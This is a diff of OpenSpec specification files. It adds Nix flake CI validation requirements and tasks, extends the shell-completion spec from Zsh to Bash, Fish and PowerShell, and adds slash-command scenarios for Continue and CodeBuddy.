- **AND** the script SHALL update flake.nix with the correct version
|
||||
|
||||
#### Scenario: Update script with mock hash
|
||||
|
||||
- **WHEN** validating the update script in CI
|
||||
- **THEN** the script SHALL be able to detect and extract the correct pnpm dependency hash
|
||||
- **AND** the flake.nix SHALL be updated with a valid sha256 hash
|
||||
|
||||
### Requirement: CI Job Integration
|
||||
|
||||
The Nix validation jobs SHALL be integrated into the existing GitHub Actions workflow and required for merge.
|
||||
|
||||
#### Scenario: PR merge requirements
|
||||
|
||||
- **WHEN** a pull request is created
|
||||
- **THEN** the Nix validation job SHALL be included in required checks
|
||||
- **AND** the PR SHALL NOT be mergeable until Nix validation passes
|
||||
|
||||
#### Scenario: Job execution triggers
|
||||
|
||||
- **WHEN** code is pushed to a pull request OR pushed to main OR manually triggered
|
||||
- **THEN** the Nix validation job SHALL execute automatically
|
||||
|
||||
### Requirement: Local Testing Support
|
||||
|
||||
The CI workflow SHALL be testable locally using the `act` tool to enable rapid iteration.
|
||||
|
||||
#### Scenario: Local CI execution with act
|
||||
|
||||
- **WHEN** a developer runs `act` with the Nix validation workflow
|
||||
- **THEN** the workflow SHALL execute in the local Docker environment
|
||||
- **AND** the developer SHALL receive feedback on Nix build status without pushing to GitHub
|
||||
|
||||
#### Scenario: Act configuration compatibility
|
||||
|
||||
- **WHEN** the workflow is designed
|
||||
- **THEN** it SHALL use standard GitHub Actions syntax compatible with `act`
|
||||
- **AND** any Nix-specific setup SHALL work in the act Docker environment
|
||||
|
||||
### Requirement: Nix Installation in CI
|
||||
|
||||
The CI environment SHALL have Nix properly installed and configured before running validation.
|
||||
|
||||
#### Scenario: Nix installation step
|
||||
|
||||
- **WHEN** the Nix validation job starts
|
||||
- **THEN** Nix SHALL be installed using the official Nix installer or determinatesystems/nix-installer-action
|
||||
- **AND** the Nix installation SHALL be cached for subsequent runs to improve performance
|
||||
|
||||
#### Scenario: Nix configuration for CI
|
||||
|
||||
- **WHEN** Nix is installed in CI
|
||||
- **THEN** it SHALL be configured to work in the GitHub Actions environment
|
||||
- **AND** experimental features (flakes, nix-command) SHALL be enabled
|
||||
|
||||
### Requirement: CI Performance Optimization
|
||||
|
||||
The Nix validation SHALL be optimized to minimize CI runtime impact.
|
||||
|
||||
#### Scenario: Acceptable runtime
|
||||
|
||||
- **WHEN** the Nix validation job runs
|
||||
- **THEN** it SHALL complete in under 5 minutes on a clean run
|
||||
- **AND** with caching, it SHALL complete in under 3 minutes on subsequent runs
|
||||
|
||||
#### Scenario: Parallel execution
|
||||
|
||||
- **WHEN** multiple CI jobs are running
|
||||
- **THEN** the Nix validation job SHALL run in parallel with other validation jobs (tests, lint)
|
||||
- **AND** SHALL NOT block other independent checks
|
||||
@@ -0,0 +1,49 @@
|
||||
# Implementation Tasks
|
||||
|
||||
## 1. Add Nix Installation to CI
|
||||
|
||||
- [x] 1.1 Research Nix installation options for GitHub Actions (nix-installer-action vs manual install)
|
||||
- [x] 1.2 Add Nix installation step to .github/workflows/ci.yml
|
||||
- [x] 1.3 Configure Nix with experimental features enabled (flakes, nix-command)
|
||||
- [x] 1.4 Add Nix store caching to improve CI performance
|
||||
|
||||
## 2. Create Nix Build Validation Job
|
||||
|
||||
- [x] 2.1 Add new `nix-flake-validate` job to .github/workflows/ci.yml
|
||||
- [x] 2.2 Implement `nix build` step with proper error handling
|
||||
- [x] 2.3 Add verification step to confirm binary exists in build output
|
||||
- [x] 2.4 Add step to test binary execution (`nix run . -- --version`)
|
||||
|
||||
## 3. Add Update Script Validation
|
||||
|
||||
- [x] 3.1 Add job step to run scripts/update-flake.sh in dry-run or test mode
|
||||
- [x] 3.2 Verify script executes without errors
|
||||
- [x] 3.3 Add validation that version is correctly extracted from package.json
|
||||
- [x] 3.4 Verify flake.nix is updated with correct format (version and hash)
|
||||
|
||||
## 4. Configure Job Dependencies and Requirements
|
||||
|
||||
- [x] 4.1 Configure Nix validation job to run on pull_request and push events
|
||||
- [x] 4.2 Add Nix validation to required checks list
|
||||
- [x] 4.3 Configure job to run in parallel with existing test/lint jobs
|
||||
- [x] 4.4 Set appropriate timeout (5-10 minutes)
|
||||
|
||||
## 5. Test with act Locally
|
||||
|
||||
- [x] 5.1 Install act locally if not already available
|
||||
- [x] 5.2 Test Nix validation job using `act pull_request`
|
||||
- [x] 5.3 Verify act can run the workflow with Nix installed
|
||||
- [x] 5.4 Document any act-specific configuration needed in .actrc or README
|
||||
|
||||
## 6. Documentation and Finalization
|
||||
|
||||
- [x] 6.1 Add documentation about Nix CI validation to README or CONTRIBUTING.md
|
||||
- [x] 6.2 Document how to test CI locally with act
|
||||
- [ ] 6.3 Update CI badge or status indicators if needed
|
||||
- [ ] 6.4 Test end-to-end by creating a test PR
|
||||
|
||||
## 7. Archive Change
|
||||
|
||||
- [x] 7.1 After merge and verification, create new spec file at openspec/specs/ci-nix-validation/spec.md
|
||||
- [x] 7.2 Move change directory to openspec/changes/archive/[date]-add-nix-ci-validation/
|
||||
- [x] 7.3 Run `openspec validate --strict` to confirm archived change passes
|
||||
@@ -0,0 +1,107 @@
|
||||
# ci-nix-validation Specification
|
||||
|
||||
## Purpose
|
||||
|
||||
Validates Nix flake builds and maintenance scripts in CI to ensure Nix users can reliably install and use OpenSpec. Prevents regressions in Nix support by testing builds and the update-flake.sh script on every pull request and push to main.
|
||||
## Requirements
|
||||
### Requirement: Nix Flake Build Validation
|
||||
|
||||
The CI system SHALL validate that the Nix flake builds successfully on every pull request and push to main.
|
||||
|
||||
#### Scenario: Successful flake build
|
||||
|
||||
- **WHEN** a pull request or push to main is made
|
||||
- **THEN** the CI SHALL execute `nix build` and verify it completes with exit code 0
|
||||
- **AND** the build output SHALL contain the openspec binary
|
||||
|
||||
#### Scenario: Flake build failure
|
||||
|
||||
- **WHEN** the Nix flake configuration is broken
|
||||
- **THEN** the CI job SHALL fail with a non-zero exit code
|
||||
- **AND** the CI SHALL prevent merging of the pull request
|
||||
|
||||
#### Scenario: Multi-platform support check
|
||||
|
||||
- **WHEN** the flake declares support for multiple systems
|
||||
- **THEN** the CI SHALL validate the flake builds on at least Linux (x86_64-linux)
|
||||
|
||||
### Requirement: Update Script Validation
|
||||
|
||||
The CI system SHALL validate that the update-flake.sh script executes successfully and produces valid output.
|
||||
|
||||
#### Scenario: Update script execution
|
||||
|
||||
- **WHEN** the CI runs the update script validation
|
||||
- **THEN** the script SHALL execute without errors
|
||||
- **AND** the script SHALL correctly extract the version from package.json
|
||||
- **AND** the script SHALL update flake.nix with the correct version
|
||||
|
||||
#### Scenario: Update script with mock hash
|
||||
|
||||
- **WHEN** validating the update script in CI
|
||||
- **THEN** the script SHALL be able to detect and extract the correct pnpm dependency hash
|
||||
- **AND** the flake.nix SHALL be updated with a valid sha256 hash
|
||||
|
||||
### Requirement: CI Job Integration
|
||||
|
||||
The Nix validation jobs SHALL be integrated into the existing GitHub Actions workflow and required for merge.
|
||||
|
||||
#### Scenario: PR merge requirements
|
||||
|
||||
- **WHEN** a pull request is created
|
||||
- **THEN** the Nix validation job SHALL be included in required checks
|
||||
- **AND** the PR SHALL NOT be mergeable until Nix validation passes
|
||||
|
||||
#### Scenario: Job execution triggers
|
||||
|
||||
- **WHEN** code is pushed to a pull request OR pushed to main OR manually triggered
|
||||
- **THEN** the Nix validation job SHALL execute automatically
|
||||
|
||||
### Requirement: Local Testing Support
|
||||
|
||||
The CI workflow SHALL be testable locally using the `act` tool to enable rapid iteration.
|
||||
|
||||
#### Scenario: Local CI execution with act
|
||||
|
||||
- **WHEN** a developer runs `act` with the Nix validation workflow
|
||||
- **THEN** the workflow SHALL execute in the local Docker environment
|
||||
- **AND** the developer SHALL receive feedback on Nix build status without pushing to GitHub
|
||||
|
||||
#### Scenario: Act configuration compatibility
|
||||
|
||||
- **WHEN** the workflow is designed
|
||||
- **THEN** it SHALL use standard GitHub Actions syntax compatible with `act`
|
||||
- **AND** any Nix-specific setup SHALL work in the act Docker environment
|
||||
|
||||
### Requirement: Nix Installation in CI
|
||||
|
||||
The CI environment SHALL have Nix properly installed and configured before running validation.
|
||||
|
||||
#### Scenario: Nix installation step
|
||||
|
||||
- **WHEN** the Nix validation job starts
|
||||
- **THEN** Nix SHALL be installed using the official Nix installer or determinatesystems/nix-installer-action
|
||||
- **AND** the Nix installation SHALL be cached for subsequent runs to improve performance
|
||||
|
||||
#### Scenario: Nix configuration for CI
|
||||
|
||||
- **WHEN** Nix is installed in CI
|
||||
- **THEN** it SHALL be configured to work in the GitHub Actions environment
|
||||
- **AND** experimental features (flakes, nix-command) SHALL be enabled
|
||||
|
||||
### Requirement: CI Performance Optimization
|
||||
|
||||
The Nix validation SHALL be optimized to minimize CI runtime impact.
|
||||
|
||||
#### Scenario: Acceptable runtime
|
||||
|
||||
- **WHEN** the Nix validation job runs
|
||||
- **THEN** it SHALL complete in under 5 minutes on a clean run
|
||||
- **AND** with caching, it SHALL complete in under 3 minutes on subsequent runs
|
||||
|
||||
#### Scenario: Parallel execution
|
||||
|
||||
- **WHEN** multiple CI jobs are running
|
||||
- **THEN** the Nix validation job SHALL run in parallel with other validation jobs (tests, lint)
|
||||
- **AND** SHALL NOT block other independent checks
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
# cli-completion Specification
|
||||
|
||||
## Purpose
|
||||
Provide shell completion scripts for the OpenSpec CLI, enabling tab-completion for commands, flags, and dynamic values (change IDs, spec IDs) in supported shells. Currently supports Zsh with architecture designed for future shell expansion.
|
||||
Provide shell completion scripts for the OpenSpec CLI, enabling tab-completion for commands, flags, and dynamic values (change IDs, spec IDs) across multiple shells. Supports Zsh, Bash, Fish, and PowerShell.
|
||||
## Requirements
|
||||
### Requirement: Native Shell Behavior Integration
|
||||
|
||||
The completion system SHALL respect and integrate with Zsh's native completion patterns and user interaction model.
|
||||
The completion system SHALL respect and integrate with each supported shell's native completion patterns and user interaction model.
|
||||
|
||||
#### Scenario: Zsh native completion
|
||||
|
||||
@@ -15,12 +15,36 @@ The completion system SHALL respect and integrate with Zsh's native completion p
|
||||
- **AND** display as an interactive menu that users navigate with TAB/arrow keys
|
||||
- **AND** support Oh My Zsh's enhanced menu styling automatically
|
||||
|
||||
#### Scenario: Bash native completion
|
||||
|
||||
- **WHEN** generating Bash completion scripts
|
||||
- **THEN** use Bash completion with `complete` builtin and `COMPREPLY` array
|
||||
- **AND** completions SHALL trigger on double TAB (standard Bash behavior)
|
||||
- **AND** display as space-separated list or column format
|
||||
- **AND** support both bash-completion v1 and v2 patterns
|
||||
|
||||
#### Scenario: Fish native completion
|
||||
|
||||
- **WHEN** generating Fish completion scripts
|
||||
- **THEN** use Fish's `complete` command with conditions
|
||||
- **AND** completions SHALL trigger on single TAB with auto-suggestion preview
|
||||
- **AND** display with Fish's native coloring and description alignment
|
||||
- **AND** leverage Fish's built-in caching automatically
|
||||
|
||||
#### Scenario: PowerShell native completion
|
||||
|
||||
- **WHEN** generating PowerShell completion scripts
|
||||
- **THEN** use `Register-ArgumentCompleter` with scriptblock
|
||||
- **AND** completions SHALL trigger on TAB with cycling behavior
|
||||
- **AND** display with PowerShell's native completion UI
|
||||
- **AND** support both Windows PowerShell 5.1 and PowerShell Core 7+
|
||||
|
||||
#### Scenario: No custom UX patterns
|
||||
|
||||
- **WHEN** implementing Zsh completion
|
||||
- **WHEN** implementing completion for any shell
|
||||
- **THEN** do NOT attempt to customize completion trigger behavior
|
||||
- **AND** do NOT override Zsh-specific navigation patterns
|
||||
- **AND** ensure completions feel native to experienced Zsh users
|
||||
- **AND** do NOT override shell-specific navigation patterns
|
||||
- **AND** ensure completions feel native to experienced users of that shell
|
||||
|
||||
### Requirement: Command Structure
|
||||
|
||||
@@ -43,17 +67,35 @@ The completion system SHALL automatically detect the user's current shell enviro
|
||||
- **WHEN** no shell is explicitly specified
|
||||
- **THEN** read the `$SHELL` environment variable
|
||||
- **AND** extract the shell name from the path (e.g., `/bin/zsh` → `zsh`)
|
||||
- **AND** validate the shell is `zsh`
|
||||
- **AND** throw an error if the shell is not `zsh`, with message indicating only Zsh is currently supported
|
||||
- **AND** validate the shell is one of: `zsh`, `bash`, `fish`, `powershell`
|
||||
- **AND** throw an error if the shell is not supported
|
||||
|
||||
#### Scenario: Non-Zsh shell detection
|
||||
#### Scenario: Detecting Bash from environment
|
||||
|
||||
- **WHEN** shell path indicates bash, fish, powershell, or other non-Zsh shell
|
||||
- **THEN** throw error: "Shell '<name>' is not supported yet. Currently supported: zsh"
|
||||
- **WHEN** `$SHELL` contains `bash` in the path
|
||||
- **THEN** detect shell as `bash`
|
||||
- **AND** proceed with bash-specific completion logic
|
||||
|
||||
#### Scenario: Detecting Fish from environment
|
||||
|
||||
- **WHEN** `$SHELL` contains `fish` in the path
|
||||
- **THEN** detect shell as `fish`
|
||||
- **AND** proceed with fish-specific completion logic
|
||||
|
||||
#### Scenario: Detecting PowerShell from environment
|
||||
|
||||
- **WHEN** `$PSModulePath` environment variable is present
|
||||
- **THEN** detect shell as `powershell`
|
||||
- **AND** proceed with PowerShell-specific completion logic
|
||||
|
||||
#### Scenario: Unsupported shell detection
|
||||
|
||||
- **WHEN** shell path indicates an unsupported shell
|
||||
- **THEN** throw error: "Shell '<name>' is not supported. Supported shells: zsh, bash, fish, powershell"
|
||||
|
||||
### Requirement: Completion Generation
|
||||
|
||||
The completion command SHALL generate Zsh completion scripts on demand.
|
||||
The completion command SHALL generate completion scripts for all supported shells on demand.
|
||||
|
||||
#### Scenario: Generating Zsh completion
|
||||
|
||||
@@ -64,6 +106,33 @@ The completion command SHALL generate Zsh completion scripts on demand.
|
||||
- **AND** use Zsh's `_arguments` and `_describe` built-in functions
|
||||
- **AND** support dynamic completion for change and spec IDs
|
||||
|
||||
#### Scenario: Generating Bash completion
|
||||
|
||||
- **WHEN** user executes `openspec completion generate bash`
|
||||
- **THEN** output a complete Bash completion script to stdout
|
||||
- **AND** include completions for all commands and subcommands
|
||||
- **AND** use `complete -F` with custom completion function
|
||||
- **AND** populate `COMPREPLY` with appropriate suggestions
|
||||
- **AND** support dynamic completion for change and spec IDs via `openspec __complete`
|
||||
|
||||
#### Scenario: Generating Fish completion
|
||||
|
||||
- **WHEN** user executes `openspec completion generate fish`
|
||||
- **THEN** output a complete Fish completion script to stdout
|
||||
- **AND** use `complete -c openspec` with conditions
|
||||
- **AND** include command-specific completions with `--condition` predicates
|
||||
- **AND** support dynamic completion for change and spec IDs via `openspec __complete`
|
||||
- **AND** include descriptions for each completion option
|
||||
|
||||
#### Scenario: Generating PowerShell completion
|
||||
|
||||
- **WHEN** user executes `openspec completion generate powershell`
|
||||
- **THEN** output a complete PowerShell completion script to stdout
|
||||
- **AND** use `Register-ArgumentCompleter -CommandName openspec`
|
||||
- **AND** implement scriptblock that handles command context
|
||||
- **AND** support dynamic completion for change and spec IDs via `openspec __complete`
|
||||
- **AND** return `[System.Management.Automation.CompletionResult]` objects
|
||||
|
||||
### Requirement: Dynamic Completions
|
||||
|
||||
The completion system SHALL provide context-aware dynamic completions for project-specific values.
|
||||
@@ -98,7 +167,7 @@ The completion system SHALL provide context-aware dynamic completions for projec
|
||||
|
||||
### Requirement: Installation Automation
|
||||
|
||||
The completion command SHALL automatically install completion scripts into shell configuration files.
|
||||
The completion command SHALL automatically install completion scripts into shell configuration files for all supported shells.
|
||||
|
||||
#### Scenario: Installing for Oh My Zsh
|
||||
|
||||
@@ -118,12 +187,37 @@ The completion command SHALL automatically install completion scripts into shell
|
||||
- **AND** add `autoload -Uz compinit && compinit` to `~/.zshrc` if not already present
|
||||
- **AND** display success message with instruction to run `exec zsh` or restart terminal
|
||||
|
||||
#### Scenario: Auto-detecting Zsh for installation
|
||||
#### Scenario: Installing for Bash with bash-completion
|
||||
|
||||
- **WHEN** user executes `openspec completion install bash`
|
||||
- **THEN** detect if bash-completion is installed by checking for `/usr/share/bash-completion` or `/etc/bash_completion.d`
|
||||
- **AND** if bash-completion is available, write to `/etc/bash_completion.d/openspec` (with sudo) or `~/.local/share/bash-completion/completions/openspec`
|
||||
- **AND** if bash-completion is not available, write to `~/.bash_completion.d/openspec` and source it from `~/.bashrc`
|
||||
- **AND** add sourcing line to `~/.bashrc` using marker-based updates if needed
|
||||
- **AND** display success message with instruction to run `exec bash` or restart terminal
|
||||
|
||||
#### Scenario: Installing for Fish
|
||||
|
||||
- **WHEN** user executes `openspec completion install fish`
|
||||
- **THEN** create Fish completions directory at `~/.config/fish/completions/` if it doesn't exist
|
||||
- **AND** write completion script to `~/.config/fish/completions/openspec.fish`
|
||||
- **AND** Fish automatically loads completions from this directory (no config file modification needed)
|
||||
- **AND** display success message indicating completions are immediately available
|
||||
|
||||
#### Scenario: Installing for PowerShell
|
||||
|
||||
- **WHEN** user executes `openspec completion install powershell`
|
||||
- **THEN** detect PowerShell profile location via `$PROFILE` environment variable or default paths
|
||||
- **AND** create profile directory if it doesn't exist
|
||||
- **AND** add completion script import to profile using marker-based updates
|
||||
- **AND** write completion script to PowerShell modules directory or alongside profile
|
||||
- **AND** display success message with instruction to restart PowerShell or run `. $PROFILE`
|
||||
|
||||
#### Scenario: Auto-detecting shell for installation
|
||||
|
||||
- **WHEN** user executes `openspec completion install` without specifying a shell
|
||||
- **THEN** detect current shell using shell detection logic
|
||||
- **AND** install completion if detected shell is Zsh
|
||||
- **AND** throw error if detected shell is not Zsh
|
||||
- **AND** install completion for the detected shell (zsh, bash, fish, or powershell)
|
||||
- **AND** display which shell was detected
|
||||
|
||||
#### Scenario: Already installed
|
||||
@@ -135,23 +229,45 @@ The completion command SHALL automatically install completion scripts into shell
|
||||
|
||||
### Requirement: Uninstallation
|
||||
|
||||
The completion command SHALL remove installed completion scripts and configuration.
|
||||
The completion command SHALL remove installed completion scripts and configuration for all supported shells.
|
||||
|
||||
#### Scenario: Uninstalling Oh My Zsh completion
|
||||
#### Scenario: Uninstalling Zsh completion
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall zsh`
|
||||
- **THEN** prompt for confirmation before proceeding (unless `--yes` flag provided)
|
||||
- **AND** if user declines, cancel uninstall and display "Uninstall cancelled."
|
||||
- **AND** if user confirms, remove `~/.oh-my-zsh/custom/completions/_openspec` if Oh My Zsh is detected
|
||||
- **AND** remove `~/.zsh/completions/_openspec` if standard Zsh setup is detected
|
||||
- **AND** remove fpath modifications from `~/.zshrc`
|
||||
- **AND** remove fpath modifications from `~/.zshrc` using marker-based removal
|
||||
- **AND** display success message
|
||||
|
||||
#### Scenario: Auto-detecting Zsh for uninstallation
|
||||
#### Scenario: Uninstalling Bash completion
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall bash`
|
||||
- **THEN** prompt for confirmation (unless `--yes` flag provided)
|
||||
- **AND** if user confirms, remove completion file from bash-completion directory or `~/.bash_completion.d/`
|
||||
- **AND** remove sourcing lines from `~/.bashrc` using marker-based removal
|
||||
- **AND** display success message
|
||||
|
||||
#### Scenario: Uninstalling Fish completion
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall fish`
|
||||
- **THEN** prompt for confirmation (unless `--yes` flag provided)
|
||||
- **AND** if user confirms, remove `~/.config/fish/completions/openspec.fish`
|
||||
- **AND** display success message (no config file modification needed)
|
||||
|
||||
#### Scenario: Uninstalling PowerShell completion
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall powershell`
|
||||
- **THEN** prompt for confirmation (unless `--yes` flag provided)
|
||||
- **AND** if user confirms, remove completion import from PowerShell profile using marker-based removal
|
||||
- **AND** remove completion script file
|
||||
- **AND** display success message
|
||||
|
||||
#### Scenario: Auto-detecting shell for uninstallation
|
||||
|
||||
- **WHEN** user executes `openspec completion uninstall` without specifying a shell
|
||||
- **THEN** detect current shell and uninstall completion if shell is Zsh
|
||||
- **AND** throw error if detected shell is not Zsh
|
||||
- **THEN** detect current shell and uninstall completion for that shell
|
||||
|
||||
#### Scenario: Not installed
|
||||
|
||||
@@ -161,17 +277,34 @@ The completion command SHALL remove installed completion scripts and configurati
|
||||
|
||||
### Requirement: Architecture Patterns
|
||||
|
||||
The completion implementation SHALL follow clean architecture principles with TypeScript best practices.
|
||||
The completion implementation SHALL follow clean architecture principles with TypeScript best practices, supporting multiple shells through a plugin-based pattern.
|
||||
|
||||
#### Scenario: Shell-specific generators
|
||||
|
||||
- **WHEN** implementing completion generators
|
||||
- **THEN** create `ZshCompletionGenerator` class for Zsh
|
||||
- **AND** implement a common `CompletionGenerator` interface with methods:
|
||||
- `generate(): string` - Returns complete shell script
|
||||
- `getInstallPath(): string` - Returns target installation path
|
||||
- `getConfigFile(): string` - Returns shell configuration file path
|
||||
- **AND** design interface to be extensible for future shells (bash, fish, powershell)
|
||||
- **THEN** create generator classes for each shell: `ZshGenerator`, `BashGenerator`, `FishGenerator`, `PowerShellGenerator`
|
||||
- **AND** implement a common `CompletionGenerator` interface with method:
|
||||
- `generate(commands: CommandDefinition[]): string` - Returns complete shell script
|
||||
- **AND** each generator handles shell-specific syntax, escaping, and patterns
|
||||
- **AND** all generators consume the same `CommandDefinition[]` from the command registry
|
||||
|
||||
#### Scenario: Shell-specific installers
|
||||
|
||||
- **WHEN** implementing completion installers
|
||||
- **THEN** create installer classes for each shell: `ZshInstaller`, `BashInstaller`, `FishInstaller`, `PowerShellInstaller`
|
||||
- **AND** implement a common `CompletionInstaller` interface with methods:
|
||||
- `install(script: string): Promise<InstallationResult>` - Installs completion script
|
||||
- `uninstall(): Promise<{ success: boolean; message: string }>` - Removes completion
|
||||
- **AND** each installer handles shell-specific paths, config files, and installation patterns
|
||||
|
||||
#### Scenario: Factory pattern for shell selection
|
||||
|
||||
- **WHEN** selecting shell-specific implementation
|
||||
- **THEN** use `CompletionFactory` class with static methods:
|
||||
- `createGenerator(shell: SupportedShell): CompletionGenerator`
|
||||
- `createInstaller(shell: SupportedShell): CompletionInstaller`
|
||||
- **AND** factory uses switch statements with TypeScript exhaustiveness checking
|
||||
- **AND** adding new shell requires updating `SupportedShell` type and factory cases
|
||||
|
||||
#### Scenario: Dynamic completion providers
|
||||
|
||||
@@ -190,18 +323,18 @@ The completion implementation SHALL follow clean architecture principles with Ty
|
||||
- `name: string` - Command name
|
||||
- `description: string` - Help text
|
||||
- `flags: FlagDefinition[]` - Available flags
|
||||
- `acceptsChangeId: boolean` - Whether command takes change ID argument
|
||||
- `acceptsSpecId: boolean` - Whether command takes spec ID argument
|
||||
- `acceptsPositional: boolean` - Whether command takes positional arguments
|
||||
- `positionalType: string` - Type of positional (change-id, spec-id, path, shell)
|
||||
- `subcommands?: CommandDefinition[]` - Nested subcommands
|
||||
- **AND** export a `COMMAND_REGISTRY` constant with all command definitions
|
||||
- **AND** generators consume this registry to ensure consistency
|
||||
- **AND** all generators consume this registry to ensure consistency across shells
|
||||
|
||||
#### Scenario: Type-safe shell detection
|
||||
|
||||
- **WHEN** implementing shell detection
|
||||
- **THEN** define a `SupportedShell` type as literal type: `'zsh'`
|
||||
- **AND** implement `detectShell()` function that returns 'zsh' or throws error
|
||||
- **AND** design type to be extensible (e.g., future: `'bash' | 'zsh' | 'fish' | 'powershell'`)
|
||||
- **THEN** define a `SupportedShell` type as literal type: `'zsh' | 'bash' | 'fish' | 'powershell'`
|
||||
- **AND** implement `detectShell()` function in `src/utils/shell-detection.ts`
|
||||
- **AND** return detected shell or throw error with supported shells list
|
||||
|
||||
### Requirement: Error Handling
|
||||
|
||||
@@ -209,8 +342,8 @@ The completion command SHALL provide clear error messages for common failure sce
|
||||
|
||||
#### Scenario: Unsupported shell
|
||||
|
||||
- **WHEN** user requests completion for unsupported shell (bash, fish, powershell, etc.)
|
||||
- **THEN** display error message: "Shell '<name>' is not supported yet. Currently supported: zsh"
|
||||
- **WHEN** user requests completion for unsupported shell (e.g., ksh, csh, tcsh)
|
||||
- **THEN** display error message: "Shell '<name>' is not supported yet. Currently supported: zsh, bash, fish, powershell"
|
||||
- **AND** exit with code 1
|
||||
|
||||
#### Scenario: Permission errors during installation
|
||||
@@ -228,7 +361,7 @@ The completion command SHALL provide clear error messages for common failure sce
|
||||
|
||||
#### Scenario: Shell not detected
|
||||
|
||||
- **WHEN** `openspec completion install` cannot detect current shell or detects non-Zsh shell
|
||||
- **WHEN** `openspec completion install` cannot detect current shell
|
||||
- **THEN** display error: "Could not auto-detect shell. Please specify shell explicitly."
|
||||
- **AND** display usage hint: "Usage: openspec completion <operation> [shell]"
|
||||
- **AND** exit with code 1
|
||||
@@ -263,25 +396,37 @@ The completion command SHALL provide machine-parseable and human-readable output
|
||||
|
||||
### Requirement: Testing Support
|
||||
|
||||
The completion implementation SHALL be testable with unit and integration tests.
|
||||
The completion implementation SHALL be testable with unit and integration tests for all supported shells.
|
||||
|
||||
#### Scenario: Mock shell environment
|
||||
|
||||
- **WHEN** writing tests for shell detection
|
||||
- **THEN** allow overriding `$SHELL` environment variable
|
||||
- **THEN** allow overriding `$SHELL` and `$PSModulePath` environment variables
|
||||
- **AND** use dependency injection for file system operations
|
||||
- **AND** test detection for all four shells independently
|
||||
|
||||
#### Scenario: Generator output verification
|
||||
|
||||
- **WHEN** testing completion generators
|
||||
- **THEN** verify generated scripts contain expected patterns
|
||||
- **THEN** create test suite for each shell generator (zsh, bash, fish, powershell)
|
||||
- **AND** verify generated scripts contain expected patterns for that shell
|
||||
- **AND** test that command registry is properly consumed
|
||||
- **AND** ensure dynamic completion placeholders are present
|
||||
- **AND** verify shell-specific syntax and escaping
|
||||
|
||||
#### Scenario: Installation simulation
|
||||
#### Scenario: Installer simulation
|
||||
|
||||
- **WHEN** testing installation logic
|
||||
- **THEN** use temporary test directories instead of actual home directories
|
||||
- **THEN** create test suite for each shell installer
|
||||
- **AND** use temporary test directories instead of actual home directories
|
||||
- **AND** verify file creation without modifying real shell configurations
|
||||
- **AND** test path resolution logic independently
|
||||
- **AND** mock file system operations to avoid side effects
|
||||
|
||||
#### Scenario: Cross-shell consistency
|
||||
|
||||
- **WHEN** testing completion behavior
|
||||
- **THEN** verify all shells support the same commands and flags
|
||||
- **AND** verify dynamic completions work consistently across shells
|
||||
- **AND** ensure error messages are consistent across shells
|
||||
|
||||
|
||||
@@ -187,7 +187,8 @@ The init command SHALL generate slash command files for supported editors using
|
||||
#### Scenario: Generating slash commands for CodeBuddy Code
|
||||
- **WHEN** the user selects CodeBuddy Code during initialization
|
||||
- **THEN** create `.codebuddy/commands/openspec/proposal.md`, `.codebuddy/commands/openspec/apply.md`, and `.codebuddy/commands/openspec/archive.md`
|
||||
- **AND** populate each file from shared templates so command text matches other tools
|
||||
- **AND** populate each file from shared templates that include CodeBuddy-compatible YAML frontmatter for the `description` and `argument-hint` fields
|
||||
- **AND** use square bracket format for `argument-hint` parameters (e.g., `[change-id]`)
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Cline
|
||||
@@ -210,6 +211,12 @@ The init command SHALL generate slash command files for supported editors using
|
||||
- **AND** populate each file from shared templates so command text matches other tools
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Continue
|
||||
- **WHEN** the user selects Continue during initialization
|
||||
- **THEN** create `.continue/prompts/openspec-proposal.prompt`, `.continue/prompts/openspec-apply.prompt`, and `.continue/prompts/openspec-archive.prompt`
|
||||
- **AND** populate each file from shared templates so command text matches other tools
|
||||
- **AND** each template includes instructions for the relevant OpenSpec workflow stage
|
||||
|
||||
#### Scenario: Generating slash commands for Factory Droid
|
||||
- **WHEN** the user selects Factory Droid during initialization
|
||||
- **THEN** create `.factory/commands/openspec-proposal.md`, `.factory/commands/openspec-apply.md`, and `.factory/commands/openspec-archive.md`
|
||||
|
||||
@@ -50,6 +50,7 @@ The update command SHALL always update the core OpenSpec files and display an AS
|
||||
- **AND** if a root-level stub exists, refresh it so it still directs contributors to `@/openspec/AGENTS.md`
|
||||
|
||||
### Requirement: Slash Command Updates
|
||||
|
||||
The update command SHALL refresh existing slash command files for configured tools without creating new ones, and ensure the OpenCode archive command accepts change ID arguments.
|
||||
|
||||
#### Scenario: Updating slash commands for Antigravity
|
||||
@@ -64,8 +65,9 @@ The update command SHALL refresh existing slash command files for configured too
|
||||
|
||||
#### Scenario: Updating slash commands for CodeBuddy Code
|
||||
- **WHEN** `.codebuddy/commands/openspec/` contains `proposal.md`, `apply.md`, and `archive.md`
|
||||
- **THEN** refresh each file using shared templates
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
- **THEN** refresh each file using the shared CodeBuddy templates that include YAML frontmatter for the `description` and `argument-hint` fields
|
||||
- **AND** use square bracket format for `argument-hint` parameters (e.g., `[change-id]`)
|
||||
- **AND** preserve any user customizations outside the OpenSpec managed markers
|
||||
|
||||
#### Scenario: Updating slash commands for Cline
|
||||
- **WHEN** `.clinerules/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md`
|
||||
@@ -73,6 +75,11 @@ The update command SHALL refresh existing slash command files for configured too
|
||||
- **AND** include Cline-specific Markdown heading frontmatter
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
|
||||
#### Scenario: Updating slash commands for Continue
|
||||
- **WHEN** `.continue/prompts/` contains `openspec-proposal.prompt`, `openspec-apply.prompt`, and `openspec-archive.prompt`
|
||||
- **THEN** refresh each file using shared templates
|
||||
- **AND** ensure templates include instructions for the relevant workflow stage
|
||||
|
||||
#### Scenario: Updating slash commands for Crush
|
||||
- **WHEN** `.crush/commands/` contains `openspec/proposal.md`, `openspec/apply.md`, and `openspec/archive.md`
|
||||
- **THEN** refresh each file using shared templates
|
||||
|
||||
@@ -4,6 +4,26 @@
|
||||
|
||||
